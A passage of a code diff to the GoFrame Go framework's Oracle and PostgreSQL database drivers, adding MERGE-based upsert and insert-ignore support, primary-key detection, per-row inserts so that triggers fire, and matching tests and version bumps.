`Replace operation is not supported by oracle driver`,
|
||||
)
|
||||
// Oracle does not support REPLACE INTO syntax, use SAVE instead.
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionIgnore:
|
||||
// Oracle does not support INSERT IGNORE syntax, use MERGE instead.
|
||||
return d.doInsertIgnore(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionDefault:
|
||||
// For default insert, set primary key field in context to support LastInsertId.
|
||||
// Only set it when the primary key is not provided in the data, for performance reason.
|
||||
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
|
||||
if err == nil && len(list) > 0 {
|
||||
for _, field := range tableFields {
|
||||
if strings.EqualFold(field.Key, "pri") {
|
||||
// Check if primary key is provided in the data.
|
||||
pkProvided := false
|
||||
for key := range list[0] {
|
||||
if strings.EqualFold(key, field.Name) {
|
||||
pkProvided = true
|
||||
break
|
||||
}
|
||||
}
|
||||
// Only use RETURNING when primary key is not provided, for performance reason.
|
||||
if !pkProvided {
|
||||
pkField := *field
|
||||
ctx = context.WithValue(ctx, internalPrimaryKeyInCtx, pkField)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
}
|
||||
var (
|
||||
@ -57,8 +90,8 @@ func (d *Driver) DoInsert(
|
||||
valueHolderStr = strings.Join(valueHolder, ",")
|
||||
)
|
||||
// Format "INSERT...INTO..." statement.
|
||||
intoStrArray := make([]string, 0)
|
||||
for i := 0; i < len(list); i++ {
|
||||
// Note: Use standard INSERT INTO syntax instead of INSERT ALL to ensure triggers fire
|
||||
for i := 0; i < listLength; i++ {
|
||||
for _, k := range keys {
|
||||
if s, ok := list[i][k].(gdb.Raw); ok {
|
||||
params = append(params, gconv.String(s))
|
||||
@ -67,49 +100,87 @@ func (d *Driver) DoInsert(
|
||||
}
|
||||
}
|
||||
values = append(values, valueHolderStr)
|
||||
intoStrArray = append(
|
||||
intoStrArray,
|
||||
fmt.Sprintf(
|
||||
"INTO %s(%s) VALUES(%s)",
|
||||
table, keyStr, valueHolderStr,
|
||||
),
|
||||
)
|
||||
if len(intoStrArray) == option.BatchCount || (i == listLength-1 && len(valueHolder) > 0) {
|
||||
r, err := d.DoExec(ctx, link, fmt.Sprintf(
|
||||
"INSERT ALL %s SELECT * FROM DUAL",
|
||||
strings.Join(intoStrArray, " "),
|
||||
), params...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
if n, err := r.RowsAffected(); err != nil {
|
||||
return r, err
|
||||
} else {
|
||||
batchResult.Result = r
|
||||
batchResult.Affected += n
|
||||
}
|
||||
params = params[:0]
|
||||
intoStrArray = intoStrArray[:0]
|
||||
|
||||
// Execute individual INSERT for each record to trigger row-level triggers
|
||||
r, err := d.DoExec(ctx, link, fmt.Sprintf(
|
||||
"INSERT INTO %s(%s) VALUES(%s)",
|
||||
table, keyStr, valueHolderStr,
|
||||
), params...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
if n, err := r.RowsAffected(); err != nil {
|
||||
return r, err
|
||||
} else {
|
||||
batchResult.Result = r
|
||||
batchResult.Affected += n
|
||||
}
|
||||
params = params[:0]
|
||||
}
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// doSave support upsert for Oracle.
|
||||
// doSave support upsert for Oracle
|
||||
func (d *Driver) doSave(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
if len(option.OnConflict) == 0 {
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeMissingParameter, `Please specify conflict columns`,
|
||||
)
|
||||
return d.doMergeInsert(ctx, link, table, list, option, true)
|
||||
}
|
||||
|
||||
// doInsertIgnore implements INSERT IGNORE operation using MERGE statement for Oracle database.
|
||||
// It only inserts records when there's no conflict on primary/unique keys.
|
||||
func (d *Driver) doInsertIgnore(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
return d.doMergeInsert(ctx, link, table, list, option, false)
|
||||
}
|
||||
|
||||
// doMergeInsert implements MERGE-based insert operations for Oracle database.
|
||||
// When withUpdate is true, it performs upsert (insert or update).
|
||||
// When withUpdate is false, it performs insert ignore (insert only when no conflict).
|
||||
func (d *Driver) doMergeInsert(
|
||||
ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption, withUpdate bool,
|
||||
) (result sql.Result, err error) {
|
||||
// If OnConflict is not specified, automatically get the primary key of the table
|
||||
conflictKeys := option.OnConflict
|
||||
if len(conflictKeys) == 0 {
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
err,
|
||||
`failed to get primary keys for table`,
|
||||
)
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Replace/Save/InsertIgnore operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
// TODO consider composite primary keys.
|
||||
conflictKeys = primaryKeys
|
||||
}
|
||||
|
||||
var (
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
conflictKeys = option.OnConflict
|
||||
conflictKeySet = gset.New(false)
|
||||
|
||||
// queryHolders: Handle data with Holder that need to be upsert
|
||||
@ -137,9 +208,9 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
insertKeys[index] = keyWithChar
|
||||
insertValues[index] = fmt.Sprintf("T2.%s", keyWithChar)
|
||||
|
||||
// filter conflict keys in updateValues.
|
||||
// And the key is not a soft created field.
|
||||
if !(conflictKeySet.Contains(key) || d.Core.IsSoftCreatedFieldName(key)) {
|
||||
// Build updateValues only when withUpdate is true
|
||||
// Filter conflict keys and soft created fields from updateValues
|
||||
if withUpdate && !(conflictKeySet.Contains(key) || d.Core.IsSoftCreatedFieldName(key)) {
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s`, keyWithChar, keyWithChar),
|
||||
@ -148,8 +219,10 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
index++
|
||||
}
|
||||
|
||||
batchResult := new(gdb.SqlResult)
|
||||
sqlStr := parseSqlForUpsert(table, queryHolders, insertKeys, insertValues, updateValues, conflictKeys)
|
||||
var (
|
||||
batchResult = new(gdb.SqlResult)
|
||||
sqlStr = parseSqlForMerge(table, queryHolders, insertKeys, insertValues, updateValues, conflictKeys)
|
||||
)
|
||||
r, err := d.DoExec(ctx, link, sqlStr, queryValues...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
@ -163,40 +236,43 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// parseSqlForUpsert
|
||||
// MERGE INTO {{table}} T1
|
||||
// USING ( SELECT {{queryHolders}} FROM DUAL T2
|
||||
// ON (T1.{{duplicateKey}} = T2.{{duplicateKey}} AND ...)
|
||||
// WHEN NOT MATCHED THEN
|
||||
// INSERT {{insertKeys}} VALUES {{insertValues}}
|
||||
// WHEN MATCHED THEN
|
||||
// UPDATE SET {{updateValues}}
|
||||
func parseSqlForUpsert(table string,
|
||||
// parseSqlForMerge generates MERGE statement for Oracle database.
|
||||
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
|
||||
// When updateValues is provided, it performs upsert (INSERT or UPDATE).
|
||||
// Examples:
|
||||
// - INSERT IGNORE: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...)
|
||||
// - UPSERT: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...) WHEN MATCHED THEN UPDATE SET ...
|
||||
func parseSqlForMerge(table string,
|
||||
queryHolders, insertKeys, insertValues, updateValues, duplicateKey []string,
|
||||
) (sqlStr string) {
|
||||
var (
|
||||
queryHolderStr = strings.Join(queryHolders, ",")
|
||||
insertKeyStr = strings.Join(insertKeys, ",")
|
||||
insertValueStr = strings.Join(insertValues, ",")
|
||||
updateValueStr = strings.Join(updateValues, ",")
|
||||
duplicateKeyStr string
|
||||
pattern = gstr.Trim(`MERGE INTO %s T1 USING (SELECT %s FROM DUAL) T2 ON (%s) WHEN NOT MATCHED THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s`)
|
||||
)
|
||||
|
||||
// Build ON condition
|
||||
for index, keys := range duplicateKey {
|
||||
if index != 0 {
|
||||
duplicateKeyStr += " AND "
|
||||
}
|
||||
duplicateTmp := fmt.Sprintf("T1.%s = T2.%s", keys, keys)
|
||||
duplicateKeyStr += duplicateTmp
|
||||
duplicateKeyStr += fmt.Sprintf("T1.%s = T2.%s", keys, keys)
|
||||
}
|
||||
|
||||
return fmt.Sprintf(pattern,
|
||||
table,
|
||||
queryHolderStr,
|
||||
duplicateKeyStr,
|
||||
insertKeyStr,
|
||||
insertValueStr,
|
||||
updateValueStr,
|
||||
// Build SQL based on whether UPDATE is needed
|
||||
pattern := gstr.Trim(
|
||||
`MERGE INTO %s T1 USING (SELECT %s FROM DUAL) T2 ON (%s) WHEN ` +
|
||||
`NOT MATCHED THEN INSERT(%s) VALUES (%s)`,
|
||||
)
|
||||
if len(updateValues) > 0 {
|
||||
// Upsert: INSERT or UPDATE
|
||||
pattern += gstr.Trim(` WHEN MATCHED THEN UPDATE SET %s`)
|
||||
return fmt.Sprintf(
|
||||
pattern, table, queryHolderStr, duplicateKeyStr, insertKeyStr, insertValueStr,
|
||||
strings.Join(updateValues, ","),
|
||||
)
|
||||
}
|
||||
// Insert Ignore: INSERT only
|
||||
return fmt.Sprintf(pattern, table, queryHolderStr, duplicateKeyStr, insertKeyStr, insertValueStr)
|
||||
}
|
||||
|
||||
24
contrib/drivers/oracle/oracle_result.go
Normal file
24
contrib/drivers/oracle/oracle_result.go
Normal file
@ -0,0 +1,24 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package oracle
|
||||
|
||||
// Result implements sql.Result interface for Oracle database.
|
||||
type Result struct {
|
||||
lastInsertId int64
|
||||
rowsAffected int64
|
||||
lastInsertIdError error
|
||||
}
|
||||
|
||||
// LastInsertId returns the last insert id.
|
||||
func (r *Result) LastInsertId() (int64, error) {
|
||||
return r.lastInsertId, r.lastInsertIdError
|
||||
}
|
||||
|
||||
// RowsAffected returns the rows affected.
|
||||
func (r *Result) RowsAffected() (int64, error) {
|
||||
return r.rowsAffected, nil
|
||||
}
|
||||
@ -18,13 +18,23 @@ import (
|
||||
var (
|
||||
tableFieldsSqlTmp = `
|
||||
SELECT
|
||||
COLUMN_NAME AS FIELD,
|
||||
c.COLUMN_NAME AS FIELD,
|
||||
CASE
|
||||
WHEN (DATA_TYPE='NUMBER' AND NVL(DATA_SCALE,0)=0) THEN 'INT'||'('||DATA_PRECISION||','||DATA_SCALE||')'
|
||||
WHEN (DATA_TYPE='NUMBER' AND NVL(DATA_SCALE,0)>0) THEN 'FLOAT'||'('||DATA_PRECISION||','||DATA_SCALE||')'
|
||||
WHEN DATA_TYPE='FLOAT' THEN DATA_TYPE||'('||DATA_PRECISION||','||DATA_SCALE||')'
|
||||
ELSE DATA_TYPE||'('||DATA_LENGTH||')' END AS TYPE,NULLABLE
|
||||
FROM USER_TAB_COLUMNS WHERE TABLE_NAME = '%s' ORDER BY COLUMN_ID
|
||||
WHEN (c.DATA_TYPE='NUMBER' AND NVL(c.DATA_SCALE,0)=0) THEN 'INT'||'('||c.DATA_PRECISION||','||c.DATA_SCALE||')'
|
||||
WHEN (c.DATA_TYPE='NUMBER' AND NVL(c.DATA_SCALE,0)>0) THEN 'FLOAT'||'('||c.DATA_PRECISION||','||c.DATA_SCALE||')'
|
||||
WHEN c.DATA_TYPE='FLOAT' THEN c.DATA_TYPE||'('||c.DATA_PRECISION||','||c.DATA_SCALE||')'
|
||||
ELSE c.DATA_TYPE||'('||c.DATA_LENGTH||')' END AS TYPE,
|
||||
c.NULLABLE,
|
||||
CASE WHEN pk.COLUMN_NAME IS NOT NULL THEN 'PRI' ELSE '' END AS KEY
|
||||
FROM USER_TAB_COLUMNS c
|
||||
LEFT JOIN (
|
||||
SELECT cols.COLUMN_NAME
|
||||
FROM USER_CONSTRAINTS cons
|
||||
JOIN USER_CONS_COLUMNS cols ON cons.CONSTRAINT_NAME = cols.CONSTRAINT_NAME
|
||||
WHERE cons.TABLE_NAME = '%s' AND cons.CONSTRAINT_TYPE = 'P'
|
||||
) pk ON c.COLUMN_NAME = pk.COLUMN_NAME
|
||||
WHERE c.TABLE_NAME = '%s'
|
||||
ORDER BY c.COLUMN_ID
|
||||
`
|
||||
)
|
||||
|
||||
@ -44,7 +54,8 @@ func (d *Driver) TableFields(ctx context.Context, table string, schema ...string
|
||||
result gdb.Result
|
||||
link gdb.Link
|
||||
usedSchema = gutil.GetOrDefaultStr(d.GetSchema(), schema...)
|
||||
structureSql = fmt.Sprintf(tableFieldsSqlTmp, strings.ToUpper(table))
|
||||
upperTable = strings.ToUpper(table)
|
||||
structureSql = fmt.Sprintf(tableFieldsSqlTmp, upperTable, upperTable)
|
||||
)
|
||||
if link, err = d.SlaveLink(usedSchema); err != nil {
|
||||
return nil, err
|
||||
@ -53,6 +64,7 @@ func (d *Driver) TableFields(ctx context.Context, table string, schema ...string
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fields = make(map[string]*gdb.TableField)
|
||||
for i, m := range result {
|
||||
isNull := false
|
||||
@ -65,6 +77,7 @@ func (d *Driver) TableFields(ctx context.Context, table string, schema ...string
|
||||
Name: m["FIELD"].String(),
|
||||
Type: m["TYPE"].String(),
|
||||
Null: isNull,
|
||||
Key: m["KEY"].String(),
|
||||
}
|
||||
}
|
||||
return fields, nil
|
||||
|
||||
@ -139,10 +139,10 @@ func Test_Do_Insert(t *testing.T) {
|
||||
"CREATE_TIME": gtime.Now().String(),
|
||||
}
|
||||
_, err := db.Save(ctx, "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
gtest.AssertNil(err)
|
||||
|
||||
_, err = db.Replace(ctx, "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
gtest.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
@ -185,6 +185,7 @@ func Test_DB_Insert(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// db.SetDebug(true)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Insert(ctx, table, g.Map{
|
||||
"ID": 1,
|
||||
@ -233,7 +234,7 @@ func Test_DB_Insert(t *testing.T) {
|
||||
|
||||
one, err := db.Model(table).Where("ID", 3).One()
|
||||
t.AssertNil(err)
|
||||
fmt.Println(one)
|
||||
// fmt.Println(one)
|
||||
t.Assert(one["ID"].Int(), 3)
|
||||
t.Assert(one["PASSPORT"].String(), "user_3")
|
||||
t.Assert(one["PASSWORD"].String(), "25d55ad283aa400af464c76d713c07ad")
|
||||
|
||||
@ -113,16 +113,48 @@ func createTable(table ...string) (name string) {
|
||||
|
||||
dropTable(name)
|
||||
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
ID NUMBER(10) NOT NULL,
|
||||
PASSPORT VARCHAR(45) NOT NULL,
|
||||
PASSWORD CHAR(32) NOT NULL,
|
||||
NICKNAME VARCHAR(45) NOT NULL,
|
||||
CREATE_TIME varchar(45),
|
||||
SALARY NUMBER(18,2),
|
||||
PRIMARY KEY (ID))
|
||||
`, name)); err != nil {
|
||||
// Step 1: Create table
|
||||
createTableSQL := fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
ID NUMBER(10) NOT NULL,
|
||||
PASSPORT VARCHAR(45) NOT NULL,
|
||||
PASSWORD CHAR(32) NOT NULL,
|
||||
NICKNAME VARCHAR(45) NOT NULL,
|
||||
CREATE_TIME VARCHAR(45),
|
||||
SALARY NUMBER(18,2),
|
||||
PRIMARY KEY (ID)
|
||||
)`, name)
|
||||
|
||||
if _, err := db.Exec(ctx, createTableSQL); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
|
||||
// Step 2: Create sequence
|
||||
createSeqSQL := fmt.Sprintf(`
|
||||
CREATE SEQUENCE %s_ID_SEQ
|
||||
START WITH 1
|
||||
INCREMENT BY 1
|
||||
MINVALUE 1
|
||||
MAXVALUE 9999999999
|
||||
NOCYCLE
|
||||
NOCACHE`, name)
|
||||
|
||||
if _, err := db.Exec(ctx, createSeqSQL); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
|
||||
// Step 3: Create trigger - only set ID from sequence when it's NULL
|
||||
createTriggerSQL := fmt.Sprintf(`
|
||||
CREATE OR REPLACE TRIGGER %s_ID_TRG
|
||||
BEFORE INSERT ON %s
|
||||
FOR EACH ROW
|
||||
BEGIN
|
||||
IF :NEW.ID IS NULL THEN
|
||||
:NEW.ID := %s_ID_SEQ.NEXTVAL;
|
||||
END IF;
|
||||
END;`, name, name, name)
|
||||
|
||||
if _, err := db.Exec(ctx, createTriggerSQL); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
|
||||
@ -160,7 +192,15 @@ func dropTable(table string) {
|
||||
if count == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// Drop table
|
||||
if _, err = db.Exec(ctx, fmt.Sprintf("DROP TABLE %s", table)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
|
||||
// Drop sequence if exists
|
||||
seqCount, err := db.GetCount(ctx, "SELECT COUNT(*) FROM USER_SEQUENCES WHERE SEQUENCE_NAME = ?", strings.ToUpper(table+"_ID_SEQ"))
|
||||
if err == nil && seqCount > 0 {
|
||||
db.Exec(ctx, fmt.Sprintf("DROP SEQUENCE %s_ID_SEQ", table))
|
||||
}
|
||||
}
|
||||
|
||||
@ -233,6 +233,67 @@ func Test_Model_Insert(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertIgnore(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// db.SetDebug(true)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": fmt.Sprintf(`t%d`, 777),
|
||||
"password": fmt.Sprintf(`p%d`, 777),
|
||||
"nickname": fmt.Sprintf(`T%d`, 777),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "user_1")
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"passport": fmt.Sprintf(`t%d`, 777),
|
||||
"password": fmt.Sprintf(`p%d`, 777),
|
||||
"nickname": fmt.Sprintf(`T%d`, 777),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertAndGetId(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
// "id": 1,
|
||||
"passport": fmt.Sprintf(`t%d`, 1),
|
||||
"password": fmt.Sprintf(`p%d`, 1),
|
||||
"nickname": fmt.Sprintf(`T%d`, 1),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
lastId, err := db.Model(table).Data(data).InsertAndGetId()
|
||||
t.AssertNil(err)
|
||||
t.AssertGT(lastId, 0)
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
// https://github.com/gogf/gf/issues/3286
|
||||
func Test_Model_Insert_Raw(t *testing.T) {
|
||||
table := createTable()
|
||||
@ -1179,14 +1240,73 @@ func Test_Model_Replace(t *testing.T) {
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
// Insert initial record
|
||||
result, err := db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "pass1",
|
||||
"nickname": "T1",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Replace with new data (should update existing record using MERGE)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t11",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T11",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).OnConflict("id").Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify the data was replaced
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t11")
|
||||
t.Assert(one["PASSWORD"].String(), "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(one["NICKNAME"].String(), "T11")
|
||||
|
||||
// Replace with new ID (insert new record)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 2,
|
||||
"passport": "t222",
|
||||
"password": "pass2",
|
||||
"nickname": "T222",
|
||||
"create_time": "2018-10-24 11:00:00",
|
||||
}).OnConflict("id").Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify new record was inserted
|
||||
one, err = db.Model(table).Where("id", 2).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t222")
|
||||
t.Assert(one["NICKNAME"].String(), "T222")
|
||||
|
||||
// Replace without OnConflict (primary key auto-detection is implemented)
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 3,
|
||||
"passport": "t3",
|
||||
"password": "pass3",
|
||||
"nickname": "T3",
|
||||
"create_time": "2018-10-24 12:00:00",
|
||||
}).Replace()
|
||||
t.Assert(err, "Replace operation is not supported by oracle driver")
|
||||
t.AssertNil(err)
|
||||
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
// "id": 3,
|
||||
"passport": "t3",
|
||||
"password": "pass3",
|
||||
"nickname": "T3",
|
||||
"create_time": "2018-10-24 12:00:00",
|
||||
}).Replace()
|
||||
t.AssertNE(err, nil)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/pgsql/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/lib/pq v1.10.9
|
||||
)
|
||||
|
||||
@ -5,10 +5,6 @@
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package pgsql implements gdb.Driver, which supports operations for database PostgreSQL.
|
||||
//
|
||||
// Note:
|
||||
// 1. It does not support Replace features.
|
||||
// 2. It does not support Insert Ignore features.
|
||||
package pgsql
|
||||
|
||||
import (
|
||||
|
||||
@ -9,11 +9,11 @@ package pgsql
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
)
|
||||
|
||||
// DoInsert inserts or updates data for given table.
|
||||
@ -24,12 +24,12 @@ func (d *Driver) DoInsert(
|
||||
) (result sql.Result, err error) {
|
||||
switch option.InsertOption {
|
||||
case
|
||||
gdb.InsertOptionReplace,
|
||||
gdb.InsertOptionSave:
|
||||
gdb.InsertOptionSave,
|
||||
gdb.InsertOptionReplace:
|
||||
// PostgreSQL does not support REPLACE INTO syntax, use Save (ON CONFLICT ... DO UPDATE) instead.
|
||||
// Automatically detect primary keys if OnConflict is not specified.
|
||||
if len(option.OnConflict) == 0 {
|
||||
primaryKeys, err := d.getPrimaryKeys(ctx, table)
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
@ -38,28 +38,39 @@ func (d *Driver) DoInsert(
|
||||
)
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, conflictKey := range primaryKeys {
|
||||
if _, ok := list[0][conflictKey]; ok {
|
||||
foundPrimaryKey = true
|
||||
for _, primaryKey := range primaryKeys {
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCode(
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Please specify conflict columns or ensure the record has a primary key for Save/Replace operation`,
|
||||
`Replace/Save operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
// TODO consider composite primary keys.
|
||||
option.OnConflict = primaryKeys
|
||||
}
|
||||
// Treat Replace as Save operation
|
||||
option.InsertOption = gdb.InsertOptionSave
|
||||
|
||||
case gdb.InsertOptionDefault:
|
||||
// pgsql support InsertIgnore natively, so no need to set primary key in context.
|
||||
case gdb.InsertOptionIgnore, gdb.InsertOptionDefault:
|
||||
// Get table fields to retrieve the primary key TableField object (not just the name)
|
||||
// because DoExec needs the `TableField.Type` to determine if LastInsertId is supported.
|
||||
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
|
||||
if err == nil {
|
||||
for _, field := range tableFields {
|
||||
if gstr.Equal(field.Key, "pri") {
|
||||
if strings.EqualFold(field.Key, "pri") {
|
||||
pkField := *field
|
||||
ctx = context.WithValue(ctx, internalPrimaryKeyInCtx, pkField)
|
||||
break
|
||||
@ -71,21 +82,3 @@ func (d *Driver) DoInsert(
|
||||
}
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
|
||||
// getPrimaryKeys retrieves the primary key field list of the table.
|
||||
// This method extracts primary key information from TableFields.
|
||||
func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
|
||||
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var primaryKeys []string
|
||||
for _, field := range tableFields {
|
||||
if gstr.Equal(field.Key, "pri") {
|
||||
primaryKeys = append(primaryKeys, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return primaryKeys, nil
|
||||
}
|
||||
|
||||
@ -841,5 +841,24 @@ func Test_Model_InsertIgnore(t *testing.T) {
|
||||
value, err := db.Model(table).Fields("passport").WherePri(1).Value()
|
||||
t.AssertNil(err)
|
||||
t.Assert(value.String(), "t1")
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
|
||||
// pgsql support ignore without primary key
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
// "id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t2",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
count, err = db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
})
|
||||
}
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/glebarez/go-sqlite v1.21.2
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/sqlitecgo/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/mattn/go-sqlite3 v1.14.17
|
||||
)
|
||||
|
||||
|
||||
44
contrib/drivers/tidb/go.mod
Normal file
44
contrib/drivers/tidb/go.mod
Normal file
